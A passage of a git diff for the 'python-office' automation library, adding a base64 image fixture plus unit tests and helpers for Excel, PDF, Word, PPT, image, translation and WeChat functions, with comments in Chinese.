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",
+ "imageHeight": 889,
+ "imageWidth": 500
+}
\ No newline at end of file
diff --git a/tests/test_files/ruiming/test.txt b/tests/test_files/ruiming/test.txt
new file mode 100644
index 0000000..e69de29
diff --git "a/tests/test_files/word/aaa - \345\211\257\346\234\254.doc" "b/tests/test_files/word/aaa - \345\211\257\346\234\254.doc"
new file mode 100644
index 0000000..aa7a2b4
Binary files /dev/null and "b/tests/test_files/word/aaa - \345\211\257\346\234\254.doc" differ
diff --git a/tests/test_main.py b/tests/test_main.py
new file mode 100644
index 0000000..6ea0ba5
--- /dev/null
+++ b/tests/test_main.py
@@ -0,0 +1,11 @@
+# if __name__ == '__main__':
+# test_dir = './test_unit'
+# suite = unittest.defaultTestLoader.discover(test_dir, pattern='test_*.py')
+# # 创建测试runner,执行测试用例集
+# with open('test_result.txt', 'w+') as f:
+# runner = unittest.TextTestRunner(stream=f, verbosity=2)
+# runner.run(suite)
+import pytest
+
+if __name__ == '__main__':
+ pytest.main(['./test_unit', '--html=report.html'])
diff --git a/tests/test_output/img_output/mark_img/0816.jpg b/tests/test_output/img_output/mark_img/0816.jpg
new file mode 100644
index 0000000..8e25e86
Binary files /dev/null and b/tests/test_output/img_output/mark_img/0816.jpg differ
diff --git a/tests/test_output/word/abc.docx b/tests/test_output/word/abc.docx
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_output/word/abcd.docx b/tests/test_output/word/abcd.docx
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_output/word/abce.doc b/tests/test_output/word/abce.doc
new file mode 100644
index 0000000..2a908ab
Binary files /dev/null and b/tests/test_output/word/abce.doc differ
diff --git a/tests/test_unit/__init__.py b/tests/test_unit/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_unit/fake2excel.xlsx b/tests/test_unit/fake2excel.xlsx
new file mode 100644
index 0000000..4cefd8a
Binary files /dev/null and b/tests/test_unit/fake2excel.xlsx differ
diff --git a/tests/test_unit/output/0816.jpg b/tests/test_unit/output/0816.jpg
new file mode 100644
index 0000000..227b7a0
Binary files /dev/null and b/tests/test_unit/output/0816.jpg differ
diff --git a/tests/test_unit/output/mark_img/0816.jpg b/tests/test_unit/output/mark_img/0816.jpg
new file mode 100644
index 0000000..8e25e86
Binary files /dev/null and b/tests/test_unit/output/mark_img/0816.jpg differ
diff --git a/tests/test_unit/test_excel.py b/tests/test_unit/test_excel.py
new file mode 100644
index 0000000..d8d874f
--- /dev/null
+++ b/tests/test_unit/test_excel.py
@@ -0,0 +1,64 @@
+import unittest
+from tests.test_utils.comm_utils import *
+from office.api.excel import *
+
+
+class TestExcel(unittest.TestCase):
+ def test_fake2excel(self):
+ test_file_name = './fake2excel.xlsx'
+ fake2excel(language='sdag')
+ # 检查文件是否存在
+ self.assertTrue(file_exist(test_file_name))
+ # 检查文件标题
+ self.assertEqual("name", get_colum_content(test_file_name, 0))
+ # 检查文件内容
+ self.assertTrue(is_chinese_chars_regex(get_content(test_file_name, 0, 0)))
+
+ def test_split_excel_by_column(self):
+ test_origin_file_name = '../../contributors/bulabean/sedemo.xls'
+ split_excel_by_column(filepath=test_origin_file_name,
+ column=6)
+ last_file_name = get_latest_file('../../contributors/bulabean')
+ res = get_filter_names(test_origin_file_name, 5)
+ # 检查拆分后内容
+ sheet_names = get_all_sheet_names(last_file_name)
+ for sheet_name in res:
+ self.assertIn(sheet_name, sheet_names)
+
+ def test_sheet2excel(self):
+ test_file_name = '../test_files/excel/fake2excel.xlsx'
+ sheet2excel(file_path=test_file_name)
+ sheet_names = get_all_sheet_names(test_file_name)
+
+ for sheet_name in sheet_names:
+ # 检查文件是否存在
+ self.assertTrue(file_exist(f'./{sheet_name}.xlsx'))
+ # 检查拆分文件的标题
+ self.assertEqual(get_colum_content(test_file_name, 0, sheet_name),
+ get_colum_content(f'./{sheet_name}.xlsx', 0, sheet_name))
+ # 检查拆分文件的内容
+ self.assertEqual(get_content(test_file_name, 0, 0, sheet_name),
+ get_content(f'./{sheet_name}.xlsx', 0, 0, sheet_name))
+
+ # TODO: 没有搞明白规则
+ def test_merge2sheet(self):
+ merge2sheet(dir_path=r'../test_files/excel/merge2sheet')
+ # 检查文件是否存在
+ self.assertTrue(file_exist('merge2sheet.xlsx'))
+
+ def test_merge2excel(self):
+ test_file_name = 'test_merge2excel.xlsx'
+ merge2excel(dir_path=r'../../contributors/bulabean', output_file=test_file_name)
+ # 检查文件是否存在
+ self.assertTrue(file_exist(test_file_name))
+ # 检查所有sheet名称
+ self.assertIn("SEdemo_Split_2022-09-08_162027", get_all_sheet_names(test_file_name))
+ self.assertIn("SEdemo_Split_2022-09-08_162113", get_all_sheet_names(test_file_name))
+ self.assertIn("SEdemo_Split_2022-09-09_215031", get_all_sheet_names(test_file_name))
+ self.assertIn("SEdemo_Split_2022-09-09_215121", get_all_sheet_names(test_file_name))
+ self.assertNotIn("sedemo_Split_2022-08-23_203413", get_all_sheet_names(test_file_name))
+ self.assertNotIn("sedemo_Split_2022-08-23_203011", get_all_sheet_names(test_file_name))
+ self.assertNotIn("sedemo_Split_2022-09-17_154536", get_all_sheet_names(test_file_name))
+
+ def test_find_excel_data(self):
+ find_excel_data(search_key='程序员晚枫', target_dir=r'../../contributors/bulabean')
\ No newline at end of file
diff --git a/tests/test_unit/test_file.py b/tests/test_unit/test_file.py
new file mode 100644
index 0000000..a402518
--- /dev/null
+++ b/tests/test_unit/test_file.py
@@ -0,0 +1,59 @@
+import unittest
+
+from office.api.file import *
+from tests.test_utils.comm_utils import *
+
+ORIGIN_FILE_NAME = '../test_files/file/add_fix/aabbccddeeffgghhppddaacc.docx'
+
+
+class TestFile(unittest.TestCase):
+
+ def test_replace4filename(self):
+ touch_file(ORIGIN_FILE_NAME)
+ replace4filename(path='../test_files/file/add_fix', del_content='dd', replace_content='pp')
+ # 检查文件存在
+ self.assertTrue(file_exist('../test_files/file/add_fix/aabbccppeeffgghhppppaacc.docx'))
+ # 删除文件
+ delete_file('../test_files/file/add_fix/aabbccppeeffgghhppppaacc.docx')
+
+ def test_file_name_insert_content(self):
+ touch_file(ORIGIN_FILE_NAME)
+ file_name_insert_content(file_path=r"../test_files/file/add_fix",
+ insert_position=1, insert_content="111")
+ # 检查文件存在
+ self.assertTrue(file_exist('../test_files/file/add_fix/a111abbccddeeffgghhppddaacc.docx'))
+ # 删除文件
+ delete_file('../test_files/file/add_fix/a111abbccddeeffgghhppddaacc.docx')
+
+ def test_file_name_add_prefix(self):
+ touch_file(ORIGIN_FILE_NAME)
+ file_name_add_prefix(file_path=r'../test_files/file/add_fix', prefix_content='2022')
+ # 检查文件存在
+ self.assertTrue(file_exist('../test_files/file/add_fix/2022aabbccddeeffgghhppddaacc.docx'))
+ # 删除文件
+ delete_file('../test_files/file/add_fix/2022aabbccddeeffgghhppddaacc.docx')
+
+ def test_file_name_add_postfix(self):
+ touch_file(ORIGIN_FILE_NAME)
+ file_name_add_postfix(file_path=r"../test_files/file/add_fix",
+ postfix_content="5555")
+ # 检查文件存在
+ self.assertTrue(file_exist('../test_files/file/add_fix/aabbccddeeffgghhppddaacc5555.docx'))
+ # 删除文件
+ delete_file('../test_files/file/add_fix/aabbccddeeffgghhppddaacc5555.docx')
+
+ def test_search_specify_type_file(self):
+ search_specify_type_file(file_path=r'../test_files/docx', file_type='.docx')
+
+ def test_output_file_list_to_excel(self):
+ output_file_list_to_excel("../test_files")
+ self.assertTrue(file_exist('../test_files/本目录文件列表.xlsx'))
+ # 删除文件
+ delete_file('../test_files/本目录文件列表.xlsx')
+
+ def test_search_by_content(self):
+ search_by_content(search_path=r'../test_files/docx', content='程序')
+
+ def test_get_files(self):
+ f = get_files(path=r'../test_files/docx')
+ self.assertEqual(len(f), 1)
diff --git a/tests/test_unit/test_image.py b/tests/test_unit/test_image.py
new file mode 100644
index 0000000..673c553
--- /dev/null
+++ b/tests/test_unit/test_image.py
@@ -0,0 +1,26 @@
+import unittest
+
+from office.api.image import *
+from tests.test_utils.comm_utils import *
+
+
+class TestImage(unittest.TestCase):
+ def test_add_watermark(self):
+ add_watermark(file='../test_files/images/0816.jpg', mark='python-office',output_path=r'../test_output/img_output')
+ def test_com_img(self):
+ compress_image()
+ def test_down4img(self):
+ down4img(url='https://cos.python-office.com/group/python-office-qr.jpg',
+ output_path=r'../test_files/images')
+ self.assertTrue(file_exist('../test_files/images/down4img.jpg'))
+ delete_file('../test_files/images/down4img.jpg')
+
+ def test_txt2wordcloud(self):
+ txt2wordcloud(filename=r'../test_files/md/test.txt')
+ self.assertTrue(file_exist('your_wordcloud.png'))
+ delete_file('your_wordcloud.png')
+
+ def test_pencil4img(self):
+ pencil4img(input_img=r'../test_files/images/pencil4img.jpg')
+ self.assertTrue(file_exist('pencil4img.jpg'))
+ delete_file('pencil4img.jpg')
diff --git a/tests/test_unit/test_markdown.py b/tests/test_unit/test_markdown.py
new file mode 100644
index 0000000..16e8eee
--- /dev/null
+++ b/tests/test_unit/test_markdown.py
@@ -0,0 +1,13 @@
+import unittest
+
+from office.api.markdown import *
+from tests.test_utils.comm_utils import *
+
+
+class TestMarkdown(unittest.TestCase):
+
+ def test_excel2markdown(self):
+ excel2markdown(input_file=r'../test_files/excel/fake2excel.xlsx', output_file=r'../test_files/markdown/test.md',
+ sheet_name=None)
+ self.assertTrue(file_exist('../test_files/markdown/test.md'))
+ delete_file('../test_files/markdown/test.md')
diff --git a/tests/test_unit/test_pdf.py b/tests/test_unit/test_pdf.py
new file mode 100644
index 0000000..627a3c3
--- /dev/null
+++ b/tests/test_unit/test_pdf.py
@@ -0,0 +1,67 @@
+import unittest
+
+from office.api.pdf import *
+from tests.test_utils.test_input import stub_stdin
+
+
+class TestPDF(unittest.TestCase):
+ def test_add_watermark(self):
+ stub_stdin(self, './test_files/popdf/in.popdf\npython-office\n') # 依次输入
+ add_watermark()
+
+ def test_add_watermark_by_parameters(self):
+ add_watermark_by_parameters(
+ pdf_file=r'./test_files/popdf/in.popdf',
+ mark_str='python-office',
+ output_file_name='参数-水印-测试.popdf')
+
+ def test_pdf2imgs(self):
+ pdf2imgs(
+ pdf_path=r'./test_files/popdf/in.popdf',
+ out_dir='./images')
+
+ def test_pdf2docx(self):
+ pdf2docx(
+ file_path=r'./test_files/popdf/in.popdf',
+ output_path=r'./test_files/popdf/'
+ )
+
+ # def test_file2pdf(self):
+ # file2pdf(
+ # file_type='txt',
+ # path=r'./test_files/popdf/in.popdf',
+ # )
+
+ def test_pdf2docx(self):
+ pdf2docx(
+ file_path=r'./test_files/popdf/in.popdf',
+ output_path=r'./test_files/popdf/'
+ )
+
+ def test_merge2pdf(self):
+ merge2pdf(
+ one_by_one=[r'./test_files/popdf/in.popdf', r'./test_files/popdf/add_img.popdf'],
+ output=r'./test_files/popdf/merge2pdf.popdf'
+ )
+
+ def test_encrypt4pdf(self):
+ encrypt4pdf(
+ path=r'D:\workplace\code\github\popdf\tests\test_files\pdf\32012356985422-watermark.popdf',
+ password='123456'
+ )
+
+ def test_decrypt4pdf(self):
+ decrypt4pdf(
+ path=r'./test_files/popdf/encrypt.popdf',
+ password='123456'
+ )
+
+ def test_pdf2imgs(self):
+ pdf2imgs(
+ pdf_path =r'./test_files/popdf/in.popdf',
+ out_dir=r'./test_files/popdf'
+ )
+
+ def test_add_img_water(self):
+ add_img_water(pdf_file_in='./test_files/popdf/add_img.popdf', pdf_file_mark='./test_files/popdf/in.popdf',
+ pdf_file_out='add_img_res.popdf')
diff --git a/tests/test_unit/test_ppt.py b/tests/test_unit/test_ppt.py
new file mode 100644
index 0000000..6cbbfa8
--- /dev/null
+++ b/tests/test_unit/test_ppt.py
@@ -0,0 +1,16 @@
+import unittest
+
+from office.api.ppt import *
+from tests.test_utils.comm_utils import *
+
+
+class TestPPT(unittest.TestCase):
+ def test_ppt2pdf(self):
+ ppt2pdf(path=r'../test_files/ppt/程序员晚枫的ppt.pptx',
+ output_path=r'../test_files/ppt/ppt2pdf')
+ self.assertTrue(file_exist('../test_files/ppt/ppt2pdf/程序员晚枫的文档.pdf'))
+
+ # todo: 文件打开有异常
+ def test_ppt2img(self):
+ ppt2img(input_path=r'../test_files/ppt/程序员晚枫的ppt.pptx',
+ output_path=r'../test_files/ppt/ppt2img')
diff --git a/tests/test_unit/test_ruiming.py b/tests/test_unit/test_ruiming.py
new file mode 100644
index 0000000..402f81d
--- /dev/null
+++ b/tests/test_unit/test_ruiming.py
@@ -0,0 +1,26 @@
+import unittest
+
+from office.api.testApi.ruiming import screen_unmarked_image, change_label_in_xml, screen_without_label_json_file
+from tests.test_utils.comm_utils import *
+
+
+class TestRuiming(unittest.TestCase):
+ def test_screen_unmarked_image(self):
+ screen_unmarked_image(dir_path='../test_files/ruiming/screen_unmarked_image')
+ # 预期结果:2.jpg被移动到“未标注图片”目录下
+
+ def test_change_label_in_xml(self):
+ # TODO:相对路径问题
+ change_label_in_xml(dir_path="../test_files/ruiming/change_label_in_xml", old_label="测试", new_label="测试1")
+ # 预期结果:name标签内容从“测试”改为“测试1”
+ file_names = get_file_by_suffix('../test_files/ruiming/change_label_in_xml', 'xml')
+ for file_name in file_names:
+ names = get_all_name_values('../test_files/ruiming/change_label_in_xml/' + file_name)
+ self.assertNotIn('测试', names)
+ # 还原
+ change_label_in_xml(dir_path="../test_files/ruiming/change_label_in_xml", old_label="测试1", new_label="测试")
+
+ def test_screen_without_label_json_file(self):
+ # TODO:相对路径问题
+ screen_without_label_json_file(dir_path="../test_files/ruiming/screen_without_label_json_file")
+ # 预期结果:除1.json外均被移动到”无标签json文件“文件夹中
diff --git a/tests/test_unit/test_search_by_content.py b/tests/test_unit/test_search_by_content.py
new file mode 100644
index 0000000..3a1a827
--- /dev/null
+++ b/tests/test_unit/test_search_by_content.py
@@ -0,0 +1,8 @@
+import unittest
+
+from office.api.file import *
+
+
+class TestSBC(unittest.TestCase):
+ def test_search_by_content(self):
+ search_by_content(search_path=r'../test_files/', content='python-office')
diff --git a/tests/test_unit/test_tools.py b/tests/test_unit/test_tools.py
new file mode 100644
index 0000000..e7250aa
--- /dev/null
+++ b/tests/test_unit/test_tools.py
@@ -0,0 +1,31 @@
+import unittest
+
+import pytest
+
+from office.api.tools import *
+from tests.test_utils.test_input import stub_stdin
+
+
+class TestTools(unittest.TestCase):
+ @pytest.mark.skip(reason="交互式功能,暂时跳过")
+ def test_weather(self):
+ stub_stdin(self, '北京\ny\nq\n') # 依次输入
+ weather()
+
+ def test_url2ip(self):
+ url2ip('www.python-office.com')
+
+ @pytest.mark.skip(reason="交互式功能,暂时跳过")
+ def test_lottery8ticket(self):
+ stub_stdin(self, '12\n0\n') # 依次输入
+ lottery8ticket()
+
+ def test_create_article(self):
+ create_article('生日快乐', line_num=2000)
+
+ # def test_pwd4wifi(self):
+ # stub_stdin(self, '1\ny\n') #依次输入
+ # pwd4wifi(pwd_list=['12345678', 'CoderWanFeng'])
+ def test_open_soft(self):
+ soft_path = r'D:\software\wechat\WeChat.exe'
+ wftools.open_soft(soft_path, num=2)
diff --git a/tests/test_unit/test_tools/test_trans.py b/tests/test_unit/test_tools/test_trans.py
new file mode 100644
index 0000000..77d20ab
--- /dev/null
+++ b/tests/test_unit/test_tools/test_trans.py
@@ -0,0 +1,49 @@
+# -*- coding: UTF-8 -*-
+'''
+@学习网站 :https://www.python-office.com
+@读者群 :http://www.python4office.cn/wechat-group/
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@代码日期 :2024/6/15 13:36
+@本段代码的视频说明 :
+'''
+# test_tools1.py
+import unittest
+
+from office.api.tools import transtools
+
+
+class TestTranstools(unittest.TestCase):
+
+ def test_translation_to_english(self):
+ # 测试从中文翻译到英文
+ translated = transtools(to_lang='en', content='你好')
+ self.assertIn('hello', translated.lower()) # 假设翻译包含"hello"
+
+ def test_translation_to_chinese(self):
+ # 测试从英文翻译到中文
+ translated = transtools(to_lang='zh', content='hello')
+ self.assertIn('你好', translated) # 假设翻译包含"你好"
+
+ def test_translation_with_default_language(self):
+ # 测试默认的源语言(中文)是否生效
+ translated = transtools(to_lang='en', content='你好')
+ self.assertIn('hello', translated.lower()) # 假设翻译包含"hello"
+
+ def test_translation_with_specific_language(self):
+ # 测试指定源语言是否生效
+ translated = transtools(to_lang='en', content='Bonjour', from_lang='fr')
+ self.assertIn('hello', translated.lower()) # 假设翻译包含"hello"
+
+ def test_empty_content(self):
+ # 测试空内容是否返回空字符串
+ translated = transtools(to_lang='en', content='')
+ self.assertEqual(translated, '')
+
+ def test_none_content(self):
+ # 测试None内容是否引发异常
+ with self.assertRaises(TypeError):
+ transtools(to_lang='en', content=None)
+
+# 这将使得测试可以通过命令行执行
+if __name__ == '__main__':
+ unittest.main()
diff --git a/tests/test_unit/test_tools1.py b/tests/test_unit/test_tools1.py
new file mode 100644
index 0000000..a68f956
--- /dev/null
+++ b/tests/test_unit/test_tools1.py
@@ -0,0 +1,32 @@
+import unittest
+
+import pytest
+
+from office.api.tools import *
+from tests.test_utils.test_input import stub_stdin
+
+
+class TestTools(unittest.TestCase):
+ @pytest.mark.skip(reason="交互式功能,暂时跳过")
+ def test_weather(self):
+ stub_stdin(self, '北京\ny\nq\n') # 依次输入
+ weather()
+
+ def test_url2ip(self):
+ ip_str = url2ip('www.python-office.com')
+ self.assertEqual(ip_str, "2408:877a:2000:f::11")
+
+ @pytest.mark.skip(reason="交互式功能,暂时跳过")
+ def test_lottery8ticket(self):
+ stub_stdin(self, '12\n0\n') # 依次输入
+ lottery8ticket()
+
+ def test_create_article(self):
+ create_article('生日快乐', line_num=2000)
+
+ # def test_pwd4wifi(self):
+ # stub_stdin(self, '1\ny\n') #依次输入
+ # pwd4wifi(pwd_list=['12345678', 'CoderWanFeng'])
+ def test_open_soft(self):
+ soft_path = r'D:\software\wechat\WeChat.exe'
+ wftools.open_soft(soft_path, num=2)
diff --git a/tests/test_unit/test_video.py b/tests/test_unit/test_video.py
new file mode 100644
index 0000000..76e437b
--- /dev/null
+++ b/tests/test_unit/test_video.py
@@ -0,0 +1,9 @@
+import unittest
+from tests.test_utils.comm_utils import *
+from office.api.video import *
+
+
+class TestVideo(unittest.TestCase):
+ def test_txt2mp3(self):
+ txt2mp3()
+ self.assertTrue(file_exist('./程序员晚枫.mp3'))
diff --git a/tests/test_unit/test_web.py b/tests/test_unit/test_web.py
new file mode 100644
index 0000000..b69a3ce
--- /dev/null
+++ b/tests/test_unit/test_web.py
@@ -0,0 +1,9 @@
+import unittest
+
+from office.api import web
+
+
+# todo: 功能暂时未实现
+class TestWechat(unittest.TestCase):
+ def test_url2ebook(self):
+ web.url2ebook('https://www.zhihu.com/question/36810597', title='测试')
diff --git a/tests/test_unit/test_wechat.py b/tests/test_unit/test_wechat.py
new file mode 100644
index 0000000..0af7223
--- /dev/null
+++ b/tests/test_unit/test_wechat.py
@@ -0,0 +1,11 @@
+import unittest
+
+from office.api.wechat import *
+
+
+class TestWechat(unittest.TestCase):
+ def test_send_file(self):
+ send_file(who='文件传输助手', file=r'../test_files/images/0816.jpg')
+
+ def test_receive_message(self):
+ receive_message(who='程序员晚枫')
diff --git a/tests/test_unit/test_word.py b/tests/test_unit/test_word.py
new file mode 100644
index 0000000..4907b9e
--- /dev/null
+++ b/tests/test_unit/test_word.py
@@ -0,0 +1,23 @@
+import unittest
+
+from office.api.word import *
+from tests.test_utils.comm_utils import *
+
+
+class TestWechat(unittest.TestCase):
+ def test_docx2pdf(self):
+ docx2pdf(path=r'../test_files/docx/demo.docx')
+
+ def test_doc2docx(self):
+ doc2docx(input_path=r'../test_files/word/aaa - 副本.doc', output_path=r'../test_output/word',
+ output_name='abcd.docx')
+ # 检查文件是否存在
+ self.assertTrue(file_exist('../test_output/word/abcd.docx'))
+ delete_file('../test_output/word/abcd.docx')
+
+ def test_docx2doc(self):
+ docx2doc(input_path=r'../test_output/word/abcd.docx', output_path=r'../test_output/word',
+ output_name='abce')
+ # 检查文件是否存在
+ self.assertTrue(file_exist('../test_output/word/abce.doc'))
+ delete_file('../test_output/word/abce.doc')
diff --git a/tests/test_utils/comm_utils.py b/tests/test_utils/comm_utils.py
new file mode 100644
index 0000000..6acbd4b
--- /dev/null
+++ b/tests/test_utils/comm_utils.py
@@ -0,0 +1,186 @@
+"""
+ 此类为测试用例的通用工具类
+"""
+import os
+import re
+import pandas as pd
+import xml.etree.ElementTree as ET
+
+
+def file_exist(file_path):
+ """
+ 判断文件是否存在
+
+ Args:
+ file_path: 文件路径 str
+ """
+ return os.path.exists(file_path)
+
+
+def is_chinese_chars_regex(s):
+ """
+ 字符串是否是全中文
+
+ Args:
+ s: 字符串 str
+ """
+ pattern = re.compile(r'[\u4e00-\u9fff]')
+ matches = pattern.findall(s)
+ return len(matches) > 1
+
+
+def delete_file(file_path):
+ """
+ 删除文件
+
+ Args:
+ file_path: 需要删除的文件路径 str
+ """
+ os.remove(file_path)
+
+
+def get_file_context(file_path):
+ """
+ 获取文件中的内容
+
+ Args:
+ file_path: 文件路径 str
+ """
+ res = ""
+ with open(file_path, 'r', encoding='utf-8') as file:
+ res = file.read()
+ return res
+
+
+def touch_file(file_path):
+ """
+ 创建文件
+
+ Args:
+ file_path: 文件路径 str
+ """
+ with open(file_path, 'w'):
+ pass
+
+
+def get_all_name_values(file_path):
+ """
